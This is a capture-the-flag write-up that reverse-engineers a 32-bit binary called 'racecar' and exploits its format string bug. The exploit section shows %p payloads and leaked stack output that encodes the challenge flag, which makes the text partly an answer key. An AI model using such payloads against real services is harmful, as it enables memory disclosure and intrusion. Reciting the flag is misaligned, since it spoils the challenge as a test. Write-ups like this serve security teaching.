This challenge was rated easy. The zip containing the binary running on the server should be downloaded. I should have paid attention, that they gave you the password, instead of trying to crack it with John-the-Ripper.
Analyze the Binary
Do some high-level reconnaissance of the binary. Use file
to get some details on the binary.
❯ file ./racecar
./racecar: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped
You can also use checksec:
❯ checksec --file=racecar
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 96 Symbols Yes 0 3 racecar
See all the details of the binary:
❯ readelf -a ./racecar
The output
You can see additional details with objdump:
❯ objdump -a ./racecar
We can find what compiler was used to create this binary:
❯ objdump -s --section .comment ./racecar
./racecar: file format elf32-i386
Contents of section .comment:
0000 4743433a 20285562 756e7475 20372e35 GCC: (Ubuntu 7.5
0010 2e302d33 7562756e 7475317e 31382e30 .0-3ubuntu1~18.0
0020 34292037 2e352e30 00 4) 7.5.0.
❯ readelf -p .comment ./racecar
String dump of section '.comment':
[ 0] GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
If this binary has links to other binaries/libraries, use ltrace to see these calls. If the binary made system calls use strace to see these. Sometimes it is also helpful to search for particular strings using strings:
❯ strings -a ./racecar | grep flag
flag.txt
%s[-] Could not open flagt.txt. Please contact the creator.
Search for Vulnerability
Using a decompiler/disassembler like Ghidra (free, thanks NSA) or Hex-Rays to see the reversed C/C++ code is useful. However, if you can't install apps in your current environment, you can use https://dogbolt.org/. If you want to see what C/C++ code looks like as assembly with different compilers, try https://godbolt.org/.
Fun Fact: You can use Links2 or iw3 as web browsers in a terminal.
There doesn't seem to be anything malicious here, get familiar by running the code. Looking through the code, you can see that the winning scenarios are:
Choose car 1 and
Circuit
Choose car 2 and
Highway battle
.
If you win, you can type in a winning message. Nothing stands out originally, but thinking of what we can do in the program, we can narrow our search to the part of the code where we have the most input:
void info(void)
{
int iVar1;
char *__s;
char *__s_00;
size_t sVar2;
int in_GS_OFFSET;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
__s = (char *)malloc(0x20);
__s_00 = (char *)malloc(0x20);
printf("\n%sInsert your data:\n\n",&DAT_00011538);
printf("Name: ");
read(0,__s,0x1f);
sVar2 = strlen(__s);
__s[sVar2 - 1] = '\0';
printf("Nickname: ");
read(0,__s_00,0x1f);
sVar2 = strlen(__s_00);
__s_00[sVar2 - 1] = '\0';
printf("\n%s[+] Welcome [%s%s%s]!\n\n%s[*] Your name is [%s%s%s] but everybody calls you.. [%s%s%s]!"
,&DAT_00011540,&DAT_00011530,__s,&DAT_00011540,&DAT_00011538,&DAT_00011530,__s,
&DAT_00011538,&DAT_00011530,__s_00,&DAT_00011538);
printf("\n[*] Current coins: [%d]\n",coins);
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
There isn't much here and when you test various inputs illustrates this.
This section however is more interesting:Do you have anything to say to the press after your big victory?
if ( v7 == 1 && (result = v4, v4 < v5) || v7 == 2 && (result = v4, v4 > v5) )
{
printf("%s\n\n[+] You won the race!! You get 100 coins!\n", "\x1B[1;32m");
coins += 100;
printf("[+] Current coins: [%d]%s\n", coins, "\x1B[1;36m");
printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s", "\x1B[0m");
buf = malloc(0x171u);
stream = fopen("flag.txt", "r");
if ( !stream )
{
printf("%s[-] Could not open flag.txt. Please contact the creator.\n", "\x1B[1;31m");
exit(105);
}
fgets(v11, 44, stream);
read(0, buf, 0x170u);
puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m");
return printf((const char *)buf);
}
else if ( v7 == 1 && (result = v4, v4 > v5) || v7 == 2 && (result = v4, v4 < v5) )
{
printf("%s\n\n[-] You lost the race and all your coins!\n", "\x1B[1;31m");
coins = 0;
return printf("[+] Current coins: [%d]%s\n", 0, "\x1B[1;36m");
}
return result;
}
The lines that stand out are the printf
of direct user input and the flag.txt
.
Hex-Rays:
return printf((const char *)buf);
Angr:
v10 = malloc(v1);
...
printf(v10);
Ghidra
printf(__format);
It helps to compare the output from the different decompilers. We can take advantage of this string format vulnerability.
Exploit
We can use the %x
to test for the vulnerability. We expect that a hexadecimal value printed:
[!] Do you have anything to say to the press after your big victory?
> %x
The Man, the Myth, the Legend! The grand winner of the race wants the whole
world to know this:
2A
Cool, we can use the %p
to print the pointer values in full hexadecimal format.
[!] Do you have anything to say to the press after your big victory?
> %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
The Man, the Myth, the Legend! The grand winner of the race wants the whole
world to know this:
0x580901c0 0x170 0x565c1d85 0x1 0x62 0x26 0x1 0x2 0x565c296c 0x580901c0
0x58090340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376
0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f
0x82ca9e00 0xf7f553fc
We take advantage of how the variables/data are stored in the call stack with GCC
. We could analyze how many %p
to progress up the stack. Since we don't know how large the flag value is since it's read from a file and not stored in the source, we start with an arbitrary number of values to pop off the stack.
If you run the binary locally, you won't have a flag.txt
, so create one and put dummy values to see how to decode it. I already had one from a previous CTF.
./flag_decoder.py "0x580901c0 0x170 0x565c1d85 0x1 0x62 0x26 0x1 0x2 0x565c296c 0x580901c0 0x58090340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0x82ca9e00 0xf7f553fc"
Get the Flag
Once you have the flag, you'll have to use netcat
or nc
to connect to the specified target server so you can get the actual flag.
netcat <target_ip> <target_port>
Fun stuff! If we needed to brute-force a binary in the future, something like pwntools would be useful, instead of writing your own subprocess
calls.
References
https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
https://unix.stackexchange.com/questions/2969/what-are-stripped-and-not-stripped-executables-in-unix
https://owasp.org/www-community/attacks/Format_string_attack
https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability/